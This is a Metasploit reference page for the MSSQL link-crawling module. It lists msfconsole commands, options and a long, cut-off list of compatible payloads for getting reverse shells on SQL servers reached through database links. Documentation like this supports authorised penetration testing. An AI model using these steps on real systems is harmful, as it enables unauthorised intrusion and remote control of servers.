Microsoft SQL Server Database Link Crawling Command Execution - Metasploit
This page contains detailed information about how to use the exploit/windows/mssql/mssql_linkcrawler metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Microsoft SQL Server Database Link Crawling Command Execution
Module: exploit/windows/mssql/mssql_linkcrawler
Source code: modules/exploits/windows/mssql/mssql_linkcrawler.rb
Disclosure date: 2000-01-01
Last modification time: 2020-09-22 02:56:51 +0000
Supported architecture(s): x86, x64
Supported platform(s): Windows
Target service / protocol: ms-sql2000, ms-sql-s, sybase
Target network port(s): 1433, 1434, 1435, 2533, 2638, 9152, 14330
List of CVEs: -
This module can be used to crawl MS SQL Server database links and deploy Metasploit payloads through links configured with sysadmin privileges using a valid SQL Server Login. If you are attempting to obtain multiple reverse shells using this module we recommend setting the "DisablePayloadHandler" advanced option to "true", and setting up a exploit/multi/handler to run in the background as a job to support multiple incoming shells. If you are interested in deploying payloads to specific servers this module also supports that functionality via the "DEPLOYLIST" option. Currently, the module is capable of delivering payloads to both 32bit and 64bit Windows systems via powershell memory injection methods based on Matthew Graeber's work. As a result, the target server must have powershell installed. By default, all of the crawl information is saved to a CSV formatted log file and MSF loot so that the tool can also be used for auditing without deploying payloads.
Module Ranking and Traits
Module Ranking:
- great: The exploit has a default target AND either auto-detects the appropriate target or uses an application-specific return address AFTER a version check. More information about ranking can be found here.
Basic Usage
msf > use exploit/windows/mssql/mssql_linkcrawler
msf exploit(mssql_linkcrawler) > exploit
Required Options
RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
PASSWORD: The password for the specified username
Go back to menu.
Msfconsole Usage
Here is how the windows/mssql/mssql_linkcrawler exploit module looks in the msfconsole:
msf6 > use exploit/windows/mssql/mssql_linkcrawler
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/mssql/mssql_linkcrawler) > show info
Name: Microsoft SQL Server Database Link Crawling Command Execution
Module: exploit/windows/mssql/mssql_linkcrawler
Platform: Windows
Arch: x86, x64
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Great
Disclosed: 2000-01-01
Provided by:
Antti Rantasaari <[email protected]>
Scott Sutherland "nullbind" <[email protected]>
Available targets:
Id Name
-- ----
0 Automatic
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
DEPLOY false no Deploy payload via the sysadmin links
DEPLOYLIST no Comma separated list of systems to deploy to
PASSWORD yes The password for the specified username
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 1433 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TDSENCRYPTION false yes Use TLS/SSL for TDS data "Force Encryption"
URIPATH no The URI to use for this exploit (default is random)
USERNAME sa no The username to authenticate as
USE_WINDOWS_AUTHENT false yes Use windows authentification (requires DOMAIN option set)
Payload information:
Description:
This module can be used to crawl MS SQL Server database links and
deploy Metasploit payloads through links configured with sysadmin
privileges using a valid SQL Server Login. If you are attempting to
obtain multiple reverse shells using this module we recommend
setting the "DisablePayloadHandler" advanced option to "true", and
setting up a exploit/multi/handler to run in the background as a job
to support multiple incoming shells. If you are interested in
deploying payloads to specific servers this module also supports
that functionality via the "DEPLOYLIST" option. Currently, the
module is capable of delivering payloads to both 32bit and 64bit
Windows systems via powershell memory injection methods based on
Matthew Graeber's work. As a result, the target server must have
powershell installed. By default, all of the crawl information is
saved to a CSV formatted log file and MSF loot so that the tool can
also be used for auditing without deploying payloads.
References:
http://www.slideshare.net/nullbind/sql-server-exploitation-escalation-pilfering-appsec-usa-2012
http://msdn.microsoft.com/en-us/library/ms188279.aspx
http://www.exploit-monday.com/2011_10_16_archive.html
Module Options
This is a complete list of options available in the windows/mssql/mssql_linkcrawler exploit:
msf6 exploit(windows/mssql/mssql_linkcrawler) > show options
Module options (exploit/windows/mssql/mssql_linkcrawler):
Name Current Setting Required Description
---- --------------- -------- -----------
DEPLOY false no Deploy payload via the sysadmin links
DEPLOYLIST no Comma separated list of systems to deploy to
PASSWORD yes The password for the specified username
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 1433 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TDSENCRYPTION false yes Use TLS/SSL for TDS data "Force Encryption"
URIPATH no The URI to use for this exploit (default is random)
USERNAME sa no The username to authenticate as
USE_WINDOWS_AUTHENT false yes Use windows authentification (requires DOMAIN option set)
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
Advanced Options
Here is a complete list of advanced options supported by the windows/mssql/mssql_linkcrawler exploit:
msf6 exploit(windows/mssql/mssql_linkcrawler) > show advanced
Module advanced options (exploit/windows/mssql/mssql_linkcrawler):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CMDSTAGER::DECODER no The decoder stub to use.
CMDSTAGER::FLAVOR auto no The CMD Stager to use. (Accepted: auto, vbs)
CMDSTAGER::SSL false no Use SSL/TLS for supported stagers
CMDSTAGER::TEMP no Writable directory for staged files
CPORT no The local client port
ConnectTimeout 10 yes Maximum number of seconds to establish a TCP connection
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for windows authentication
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
HEX2BINARY /opt/metasploit-framework/embedded/framework/data/exploits/mssql/h2b no The path to the hex2binary script on the disk
ListenerComm no The specific communication channel to use for this service
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
NTLM::SendLM true yes Always send the LANMAN response (except when NTLMv2_session is specified)
NTLM::SendNTLM true yes Activate the 'Negotiate NTLM key' flag, indicating the use of NTLM responses
NTLM::SendSPN true yes Send an avp of type SPN in the ntlmv2 client blob, this allows authentication on Windows 7+/Server 2008 R2+ when SPN is required
NTLM::UseLMKey false yes Activate the 'Negotiate Lan Manager Key' flag, using the LM key when the LM response is sent
NTLM::UseNTLM2_session true yes Activate the 'Negotiate NTLM2 key' flag, forcing the use of a NTLMv2_session
NTLM::UseNTLMv2 true yes Use NTLMv2 instead of NTLM2_session when 'Negotiate NTLM2' key is true
POWERSHELL_PATH C:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe yes Path to powershell.exe
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SSLVerifyMode PEER no SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1
.2)
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
PayloadBindPort no Port to bind reverse tcp socket to on target system.
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PrependMigrate false yes Spawns and runs shellcode in new process
PrependMigrateProc no Process to spawn and run shellcode in
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the windows/mssql/mssql_linkcrawler module can exploit:
msf6 exploit(windows/mssql/mssql_linkcrawler) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the windows/mssql/mssql_linkcrawler exploit:
msf6 exploit(windows/mssql/mssql_linkcrawler) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/debug_trap normal No Generic x86 Debug Trap
2 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
3 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
4 payload/generic/tight_loop normal No Generic x86 Tight Loop
5 payload/windows/dllinject/bind_hidden_ipknock_tcp normal No Reflective DLL Injection, Hidden Bind Ipknock TCP Stager
6 payload/windows/dllinject/bind_hidden_tcp normal No Reflective DLL Injection, Hidden Bind TCP Stager
7 payload/windows/dllinject/bind_ipv6_tcp normal No Reflective DLL Injection, Bind IPv6 TCP Stager (Windows x86)
8 payload/windows/dllinject/bind_ipv6_tcp_uuid normal No Reflective DLL Injection, Bind IPv6 TCP Stager with UUID Support (Windows x86)
9 payload/windows/dllinject/bind_named_pipe normal No Reflective DLL Injection, Windows x86 Bind Named Pipe Stager
10 payload/windows/dllinject/bind_nonx_tcp normal No Reflective DLL Injection, Bind TCP Stager (No NX or Win7)
11 payload/windows/dllinject/bind_tcp normal No Reflective DLL Injection, Bind TCP Stager (Windows x86)
12 payload/windows/dllinject/bind_tcp_rc4 normal No Reflective DLL Injection, Bind TCP Stager (RC4 Stage Encryption, Metasm)
13 payload/windows/dllinject/bind_tcp_uuid normal No Reflective DLL Injection, Bind TCP Stager with UUID Support (Windows x86)
14 payload/windows/dllinject/reverse_hop_http normal No Reflective DLL Injection, Reverse Hop HTTP/HTTPS Stager
15 payload/windows/dllinject/reverse_http normal No Reflective DLL Injection, Windows Reverse HTTP Stager (wininet)
16 payload/windows/dllinject/reverse_http_proxy_pstore normal No Reflective DLL Injection, Reverse HTTP Stager Proxy
17 payload/windows/dllinject/reverse_ipv6_tcp normal No Reflective DLL Injection, Reverse TCP Stager (IPv6)
18 payload/windows/dllinject/reverse_nonx_tcp normal No Reflective DLL Injection, Reverse TCP Stager (No NX or Win7)
19 payload/windows/dllinject/reverse_ord_tcp normal No Reflective DLL Injection, Reverse Ordinal TCP Stager (No NX or Win7)
20 payload/windows/dllinject/reverse_tcp normal No Reflective DLL Injection, Reverse TCP Stager
21 payload/windows/dllinject/reverse_tcp_allports normal No Reflective DLL Injection, Reverse All-Port TCP Stager
22 payload/windows/dllinject/reverse_tcp_dns normal No Reflective DLL Injection, Reverse TCP Stager (DNS)
23 payload/windows/dllinject/reverse_tcp_rc4 normal No Reflective DLL Injection, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
24 payload/windows/dllinject/reverse_tcp_rc4_dns normal No Reflective DLL Injection, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
25 payload/windows/dllinject/reverse_tcp_uuid normal No Reflective DLL Injection, Reverse TCP Stager with UUID Support
26 payload/windows/dllinject/reverse_winhttp normal No Reflective DLL Injection, Windows Reverse HTTP Stager (winhttp)
27 payload/windows/dns_txt_query_exec normal No DNS TXT Record Payload Download and Execution
28 payload/windows/download_exec normal No Windows Executable Download (http,https,ftp) and Execute
29 payload/windows/exec normal No Windows Execute Command
30 payload/windows/loadlibrary normal No Windows LoadLibrary Path
31 payload/windows/messagebox normal No Windows MessageBox
32 payload/windows/meterpreter/bind_hidden_ipknock_tcp normal No Windows Meterpreter (Reflective Injection), Hidden Bind Ipknock TCP Stager
33 payload/windows/meterpreter/bind_hidden_tcp normal No Windows Meterpreter (Reflective Injection), Hidden Bind TCP Stager
34 payload/windows/meterpreter/bind_ipv6_tcp normal No Windows Meterpreter (Reflective Injection), Bind IPv6 TCP Stager (Windows x86)
35 payload/windows/meterpreter/bind_ipv6_tcp_uuid normal No Windows Meterpreter (Reflective Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
36 payload/windows/meterpreter/bind_named_pipe normal No Windows Meterpreter (Reflective Injection), Windows x86 Bind Named Pipe Stager
37 payload/windows/meterpreter/bind_nonx_tcp normal No Windows Meterpreter (Reflective Injection), Bind TCP Stager (No NX or Win7)
38 payload/windows/meterpreter/bind_tcp normal No Windows Meterpreter (Reflective Injection), Bind TCP Stager (Windows x86)
39 payload/windows/meterpreter/bind_tcp_rc4 normal No Windows Meterpreter (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
40 payload/windows/meterpreter/bind_tcp_uuid normal No Windows Meterpreter (Reflective Injection), Bind TCP Stager with UUID Support (Windows x86)
41 payload/windows/meterpreter/reverse_hop_http normal No Windows Meterpreter (Reflective Injection), Reverse Hop HTTP/HTTPS Stager
42 payload/windows/meterpreter/reverse_http normal No Windows Meterpreter (Reflective Injection), Windows Reverse HTTP Stager (wininet)
43 payload/windows/meterpreter/reverse_http_proxy_pstore normal No Windows Meterpreter (Reflective Injection), Reverse HTTP Stager Proxy
44 payload/windows/meterpreter/reverse_https normal No Windows Meterpreter (Reflective Injection), Windows Reverse HTTPS Stager (wininet)
45 payload/windows/meterpreter/reverse_https_proxy normal No Windows Meterpreter (Reflective Injection), Reverse HTTPS Stager with Support for Custom Proxy
46 payload/windows/meterpreter/reverse_ipv6_tcp normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager (IPv6)
47 payload/windows/meterpreter/reverse_named_pipe normal No Windows Meterpreter (Reflective Injection), Windows x86 Reverse Named Pipe (SMB) Stager
48 payload/windows/meterpreter/reverse_nonx_tcp normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager (No NX or Win7)
49 payload/windows/meterpreter/reverse_ord_tcp normal No Windows Meterpreter (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
50 payload/windows/meterpreter/reverse_tcp normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager
51 payload/windows/meterpreter/reverse_tcp_allports normal No Windows Meterpreter (Reflective Injection), Reverse All-Port TCP Stager
52 payload/windows/meterpreter/reverse_tcp_dns normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager (DNS)
53 payload/windows/meterpreter/reverse_tcp_rc4 normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
54 payload/windows/meterpreter/reverse_tcp_rc4_dns normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
55 payload/windows/meterpreter/reverse_tcp_uuid normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager with UUID Support
56 payload/windows/meterpreter/reverse_winhttp normal No Windows Meterpreter (Reflective Injection), Windows Reverse HTTP Stager (winhttp)
57 payload/windows/meterpreter/reverse_winhttps normal No Windows Meterpreter (Reflective Injection), Windows Reverse HTTPS Stager (winhttp)
58 payload/windows/meterpreter_bind_named_pipe normal No Windows Meterpreter Shell, Bind Named Pipe Inline
59 payload/windows/meterpreter_bind_tcp normal No Windows Meterpreter Shell, Bind TCP Inline
60 payload/windows/meterpreter_reverse_http normal No Windows Meterpreter Shell, Reverse HTTP Inline
61 payload/windows/meterpreter_reverse_https normal No Windows Meterpreter Shell, Reverse HTTPS Inline
62 payload/windows/meterpreter_reverse_ipv6_tcp normal No Windows Meterpreter Shell, Reverse TCP Inline (IPv6)
63 payload/windows/meterpreter_reverse_tcp normal No Windows Meterpreter Shell, Reverse TCP Inline
64 payload/windows/metsvc_bind_tcp normal No Windows Meterpreter Service, Bind TCP
65 payload/windows/metsvc_reverse_tcp normal No Windows Meterpreter Service, Reverse TCP Inline
66 payload/windows/patchupdllinject/bind_hidden_ipknock_tcp normal No Windows Inject DLL, Hidden Bind Ipknock TCP Stager
67 payload/windows/patchupdllinject/bind_hidden_tcp normal No Windows Inject DLL, Hidden Bind TCP Stager
68 payload/windows/patchupdllinject/bind_ipv6_tcp normal No Windows Inject DLL, Bind IPv6 TCP Stager (Windows x86)
69 payload/windows/patchupdllinject/bind_ipv6_tcp_uuid normal No Windows Inject DLL, Bind IPv6 TCP Stager with UUID Support (Windows x86)
70 payload/windows/patchupdllinject/bind_named_pipe normal No Windows Inject DLL, Windows x86 Bind Named Pipe Stager
71 payload/windows/patchupdllinject/bind_nonx_tcp normal No Windows Inject DLL, Bind TCP Stager (No NX or Win7)
72 payload/windows/patchupdllinject/bind_tcp normal No Windows Inject DLL, Bind TCP Stager (Windows x86)
73 payload/windows/patchupdllinject/bind_tcp_rc4 normal No Windows Inject DLL, Bind TCP Stager (RC4 Stage Encryption, Metasm)
74 payload/windows/patchupdllinject/bind_tcp_uuid normal No Windows Inject DLL, Bind TCP Stager with UUID Support (Windows x86)
75 payload/windows/patchupdllinject/reverse_ipv6_tcp normal No Windows Inject DLL, Reverse TCP Stager (IPv6)
76 payload/windows/patchupdllinject/reverse_nonx_tcp normal No Windows Inject DLL, Reverse TCP Stager (No NX or Win7)
77 payload/windows/patchupdllinject/reverse_ord_tcp normal No Windows Inject DLL, Reverse Ordinal TCP Stager (No NX or Win7)
78 payload/windows/patchupdllinject/reverse_tcp normal No Windows Inject DLL, Reverse TCP Stager
79 payload/windows/patchupdllinject/reverse_tcp_allports normal No Windows Inject DLL, Reverse All-Port TCP Stager
80 payload/windows/patchupdllinject/reverse_tcp_dns normal No Windows Inject DLL, Reverse TCP Stager (DNS)
81 payload/windows/patchupdllinject/reverse_tcp_rc4 normal No Windows Inject DLL, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
82 payload/windows/patchupdllinject/reverse_tcp_rc4_dns normal No Windows Inject DLL, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
83 payload/windows/patchupdllinject/reverse_tcp_uuid normal No Windows Inject DLL, Reverse TCP Stager with UUID Support
84 payload/windows/patchupmeterpreter/bind_hidden_ipknock_tcp normal No Windows Meterpreter (skape/jt Injection), Hidden Bind Ipknock TCP Stager
85 payload/windows/patchupmeterpreter/bind_hidden_tcp normal No Windows Meterpreter (skape/jt Injection), Hidden Bind TCP Stager
86 payload/windows/patchupmeterpreter/bind_ipv6_tcp normal No Windows Meterpreter (skape/jt Injection), Bind IPv6 TCP Stager (Windows x86)
87 payload/windows/patchupmeterpreter/bind_ipv6_tcp_uuid normal No Windows Meterpreter (skape/jt Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
88 payload/windows/patchupmeterpreter/bind_named_pipe normal No Windows Meterpreter (skape/jt Injection), Windows x86 Bind Named Pipe Stager
89 payload/windows/patchupmeterpreter/bind_nonx_tcp normal No Windows Meterpreter (skape/jt Injection), Bind TCP Stager (No NX or Win7)
90 payload/windows/patchupmeterpreter/bind_tcp normal No Windows Meterpreter (skape/jt Injection), Bind TCP Stager (Windows x86)
91 payload/windows/patchupmeterpreter/bind_tcp_rc4 normal No Windows Meterpreter (skape/jt Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
92 payload/windows/patchupmeterpreter/bind_tcp_uuid normal No Windows Meterpreter (skape/jt Injection), Bind TCP Stager with UUID Support (Windows x86)
93 payload/windows/patchupmeterpreter/reverse_ipv6_tcp normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (IPv6)
94 payload/windows/patchupmeterpreter/reverse_nonx_tcp normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (No NX or Win7)
95 payload/windows/patchupmeterpreter/reverse_ord_tcp normal No Windows Meterpreter (skape/jt Injection), Reverse Ordinal TCP Stager (No NX or Win7)
96 payload/windows/patchupmeterpreter/reverse_tcp normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager
97 payload/windows/patchupmeterpreter/reverse_tcp_allports normal No Windows Meterpreter (skape/jt Injection), Reverse All-Port TCP Stager
98 payload/windows/patchupmeterpreter/reverse_tcp_dns normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (DNS)
99 payload/windows/patchupmeterpreter/reverse_tcp_rc4 normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
100 payload/windows/patchupmeterpreter/reverse_tcp_rc4_dns normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
101 payload/windows/patchupmeterpreter/reverse_tcp_uuid normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager with UUID Support
102 payload/windows/peinject/bind_hidden_ipknock_tcp normal No Windows Inject PE Files, Hidden Bind Ipknock TCP Stager
103 payload/windows/peinject/bind_hidden_tcp normal No Windows Inject PE Files, Hidden Bind TCP Stager
104 payload/windows/peinject/bind_ipv6_tcp normal No Windows Inject PE Files, Bind IPv6 TCP Stager (Windows x86)
105 payload/windows/peinject/bind_ipv6_tcp_uuid normal No Windows Inject PE Files, Bind IPv6 TCP Stager with UUID Support (Windows x86)
106 payload/windows/peinject/bind_named_pipe normal No Windows Inject PE Files, Windows x86 Bind Named Pipe Stager
107 payload/windows/peinject/bind_nonx_tcp normal No Windows Inject PE Files, Bind TCP Stager (No NX or Win7)
108 payload/windows/peinject/bind_tcp normal No Windows Inject PE Files, Bind TCP Stager (Windows x86)
109 payload/windows/peinject/bind_tcp_rc4 normal No Windows Inject PE Files, Bind TCP Stager (RC4 Stage Encryption, Metasm)
110 payload/windows/peinject/bind_tcp_uuid normal No Windows Inject PE Files, Bind TCP Stager with UUID Support (Windows x86)
111 payload/windows/peinject/reverse_ipv6_tcp normal No Windows Inject PE Files, Reverse TCP Stager (IPv6)
112 payload/windows/peinject/reverse_named_pipe normal No Windows Inject PE Files, Windows x86 Reverse Named Pipe (SMB) Stager
113 payload/windows/peinject/reverse_nonx_tcp normal No Windows Inject PE Files, Reverse TCP Stager (No NX or Win7)
114 payload/windows/peinject/reverse_ord_tcp normal No Windows Inject PE Files, Reverse Ordinal TCP Stager (No NX or Win7)
115 payload/windows/peinject/reverse_tcp normal No Windows Inject PE Files, Reverse TCP Stager
116 payload/windows/peinject/reverse_tcp_allports normal No Windows Inject PE Files, Reverse All-Port TCP Stager
117 payload/windows/peinject/reverse_tcp_dns normal No Windows Inject PE Files, Reverse TCP Stager (DNS)
118 payload/windows/peinject/reverse_tcp_rc4 normal No Windows Inject PE Files, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
119 payload/windows/peinject/reverse_tcp_rc4_dns normal No Windows Inject PE Files, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
120 payload/windows/peinject/reverse_tcp_uuid normal No Windows Inject PE Files, Reverse TCP Stager with UUID Support
121 payload/windows/pingback_bind_tcp normal No Windows x86 Pingback, Bind TCP Inline
122 payload/windows/pingback_reverse_tcp normal No Windows x86 Pingback, Reverse TCP Inline
123 payload/windows/powershell_bind_tcp normal No Windows Interactive Powershell Session, Bind TCP
124 payload/windows/powershell_reverse_tcp normal No Windows Interactive Powershell Session, Reverse TCP
125 payload/windows/shell/bind_hidden_ipknock_tcp normal No Windows Command Shell, Hidden Bind Ipknock TCP Stager
126 payload/windows/shell/bind_hidden_tcp normal No Windows Command Shell, Hidden Bind TCP Stager
127 payload/windows/shell/bind_ipv6_tcp normal No Windows Command Shell, Bind IPv6 TCP Stager (Windows x86)
128 payload/windows/shell/bind_ipv6_tcp_uuid normal No Windows Command Shell, Bind IPv6 TCP Stager with UUID Support (Windows x86)
129 payload/windows/shell/bind_named_pipe normal No Windows Command Shell, Windows x86 Bind Named Pipe Stager
130 payload/windows/shell/bind_nonx_tcp normal No Windows Command Shell, Bind TCP Stager (No NX or Win7)
131 payload/windows/shell/bind_tcp normal No Windows Command Shell, Bind TCP Stager (Windows x86)
132 payload/windows/shell/bind_tcp_rc4 normal No Windows Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)
133 payload/windows/shell/bind_tcp_uuid normal No Windows Command Shell, Bind TCP Stager with UUID Support (Windows x86)
134 payload/windows/shell/reverse_ipv6_tcp normal No Windows Command Shell, Reverse TCP Stager (IPv6)
135 payload/windows/shell/reverse_nonx_tcp normal No Windows Command Shell, Reverse TCP Stager (No NX or Win7)
136 payload/windows/shell/reverse_ord_tcp normal No Windows Command Shell, Reverse Ordinal TCP Stager (No NX or Win7)
137 payload/windows/shell/reverse_tcp normal No Windows Command Shell, Reverse TCP Stager
138 payload/windows/shell/reverse_tcp_allports normal No Windows Command Shell, Reverse All-Port TCP Stager
139 payload/windows/shell/reverse_tcp_dns normal No Windows Command Shell, Reverse TCP Stager (DNS)
140 payload/windows/shell/reverse_tcp_rc4 normal No Windows Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
141 payload/windows/shell/reverse_tcp_rc4_dns normal No Windows Command Shell, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
142 payload/windows/shell/reverse_tcp_uuid normal No Windows Command Shell, Reverse TCP Stager with UUID Support
143 payload/windows/shell/reverse_udp normal No Windows Command Shell, Reverse UDP Stager with UUID Support
144 payload/windows/shell_bind_tcp normal No Windows Command Shell, Bind TCP Inline
145 payload/windows/shell_bind_tcp_xpfw normal No Windows Disable Windows ICF, Command Shell, Bind TCP Inline
146 payload/windows/shell_hidden_bind_tcp normal No Windows Command Shell, Hidden Bind TCP Inline
147 payload/windows/shell_reverse_tcp normal No Windows Command Shell, Reverse TCP Inline
148 payload/windows/speak_pwned normal No Windows Speech API - Say "You Got Pwned!"
149 payload/windows/upexec/bind_hidden_ipknock_tcp normal No Windows Upload/Execute, Hidden Bind Ipknock TCP Stager
150 payload/windows/upexec/bind_hidden_tcp normal No Windows Upload/Execute, Hidden Bind TCP Stager
151 payload/windows/upexec/bind_ipv6_tcp normal No Windows Upload/Execute, Bind IPv6 TCP Stager (Windows x86)
152 payload/windows/upexec/bind_ipv6_tcp_uuid normal No Windows Upload/Execute, Bind IPv6 TCP Stager with UUID Support (Windows x86)
153 payload/windows/upexec/bind_named_pipe normal No Windows Upload/Execute, Windows x86 Bind Named Pipe Stager
154 payload/windows/upexec/bind_nonx_tcp normal No Windows Upload/Execute, Bind TCP Stager (No NX or Win7)
155 payload/windows/upexec/bind_tcp normal No Windows Upload/Execute, Bind TCP Stager (Windows x86)
156 payload/windows/upexec/bind_tcp_rc4 normal No Windows Upload/Execute, Bind TCP Stager (RC4 Stage Encryption, Metasm)
157 payload/windows/upexec/bind_tcp_uuid normal No Windows Upload/Execute, Bind TCP Stager with UUID Support (Windows x86)
158 payload/windows/upexec/reverse_ipv6_tcp normal No Windows Upload/Execute, Reverse TCP Stager (IPv6)
159 payload/windows/upexec/reverse_nonx_tcp normal No Windows Upload/Execute, Reverse TCP Stager (No NX or Win7)
160 payload/windows/upexec/reverse_ord_tcp normal No Windows Upload/Execute, Reverse Ordinal TCP Stager (No NX or Win7)
161 payload/windows/upexec/reverse_tcp normal No Windows Upload/Execute, Reverse TCP Stager
162 payload/windows/upexec/reverse_tcp_allports normal No Windows Upload/Execute, Reverse All-Port TCP Stager
163 payload/windows/upexec/reverse_tcp_dns normal No Windows Upload/Execute, Reverse TCP Stager (DNS)
164 payload/windows/upexec/reverse_tcp_rc4 normal No Windows Upload/Execute, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
